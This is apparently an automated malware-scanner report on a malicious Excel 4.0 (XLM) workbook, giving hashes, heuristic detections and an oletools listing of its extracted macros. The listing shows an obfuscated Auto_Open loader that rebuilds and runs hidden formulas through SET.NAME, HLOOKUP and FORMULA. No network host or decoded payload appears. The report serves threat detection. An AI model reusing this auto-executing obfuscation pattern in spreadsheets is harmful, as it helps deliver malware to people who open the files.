Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 814092b7160c8c61…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:39:05 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: ea989b811483441412409677e9d864a7 SHA-1: e8e7e05dc4255ee534867fb0b8c6bf76bb455ea5 SHA-256: 814092b7160c8c61797a21b40750774af41be7b72431ed5d2255b3c70054029e
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6516 bytes
SHA-256: 8f1a63be863c3780ef5e0479a16df78b1f89b19adc47c7c30a8d7eb7ea677b1c
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  giCuWSJ
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C150 
' 0018     23 LABEL : Cell Value, String Constant - BuZthFfU len=0 
' 0018     22 LABEL : Cell Value, String Constant - cGGASCM len=0 
' 0018     22 LABEL : Cell Value, String Constant - EhrMUrz len=0 
' 0018     27 LABEL : Cell Value, String Constant - iIfzpVfCLLva len=0 
' 0018     27 LABEL : Cell Value, String Constant - iVNAzpVgFgcq len=0 
' 0018     26 LABEL : Cell Value, String Constant - jDCAJvoCZvw len=0 
' 0018     25 LABEL : Cell Value, String Constant - jvjWfDqhSI len=0 
' 0018     22 LABEL : Cell Value, String Constant - kqqFpBp len=0 
' 0018     22 LABEL : Cell Value, String Constant - kViYQPZ len=0 
' 0018     22 LABEL : Cell Value, String Constant - lRMyrdk len=0 
' 0018     26 LABEL : Cell Value, String Constant - mcvaKBURyqC len=0 
' 0018     26 LABEL : Cell Value, String Constant - MGsnUkAltra len=0 
' 0018     25 LABEL : Cell Value, String Constant - MJfuUlnknz len=0 
' 0018     26 LABEL : Cell Value, String Constant - PmHGurhsXzL len=0 
' 0018     24 LABEL : Cell Value, String Constant - QyuPysCFZ len=0 
' 0018     25 LABEL : Cell Value, String Constant - RDuulflKHL len=0 
' 0018     22 LABEL : Cell Value, String Constant - SoBNQJj len=0 
' 0018     20 LABEL : Cell Value, String Constant - xCHRv len=0 
' 0018     22 LABEL : Cell Value, String Constant - XSWyGBK len=0 
' 0018     25 LABEL : Cell Value, String Constant - YOUAfmkkDY len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  giCuWSJ,C62,"SET.NAME("cGGASCM",VALUE("0"))",""
'  giCuWSJ,C67,"SET.NAME("XSWyGBK",cGGASCM)",""
'  giCuWSJ,C69,"SET.NAME("BuZthFfU",cGGASCM)",""
'  giCuWSJ,C73,"SET.NAME("EhrMUrz",COUNTA(RDuulflKHL))",""
'  giCuWSJ,C76,"SET.NAME("kViYQPZ",COUNTA(xCHRv))",""
'  giCuWSJ,C79,[],""
'  giCuWSJ,C83,"SET.NAME("QyuPysCFZ","")",""
'  giCuWSJ,C85,"XSWyGBK",""
'  giCuWSJ,C87,"SET.NAME("MJfuUlnknz",HLOOKUP("*",RDuulflKHL,XSWyGBK,FALSE))",""
'  giCuWSJ,C90,"MGsnUkAltra",""
'  giCuWSJ,C95,"SET.NAME("jDCAJvoCZvw",cGGASCM)",""
'  giCuWSJ,C99,[],""
'  giCuWSJ,C102,"jDCAJvoCZvw",""
'  giCuWSJ,C106,"PmHGurhsXzL",""
'  giCuWSJ,C110,"iIfzpVfCLLva",""
'  giCuWSJ,C113,"mcvaKBURyqC",""
'  giCuWSJ,C115,"SET.NAME("iVNAzpVgFgcq",VALUE(HLOOKUP("*",xCHRv,mcvaKBURyqC,FALSE)))",""
'  giCuWSJ,C118,"jvjWfDqhSI",""
'  giCuWSJ,C121,"QyuPysCFZ",""
'  giCuWSJ,C125,"BuZthFfU",""
'  giCuWSJ,C127,NEXT(),""
'  giCuWSJ,C132,"lRMyrdk",""
'  giCuWSJ,C135,"SET.NAME("f",INT(T(FORMULA(T(QyuPysCFZ)&"",""&T(lRMyrdk)))))",""
'  giCuWSJ,C140,"SoBNQJj",""
'  giCuWSJ,C143,NEXT(),""
'  giCuWSJ,C147,RETURN(),""
'  giCuWSJ,C177,"SET.NAME("YOUAfmkkDY",C62)",""
'  giCuWSJ,C179,"RDuulflKHL",""
'  giCuWSJ,C182,"SET.NAME("xCHRv",R87C13)",""
'  giCuWSJ,C186,"SET.NAME("SoBNQJj",196)",""
'  giCuWSJ,C190,"SET.NAME("kqqFpBp",3)",""
'  giCuWSJ,C195,YOUAfmkkDY(),""
'  giCuWSJ,C196,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.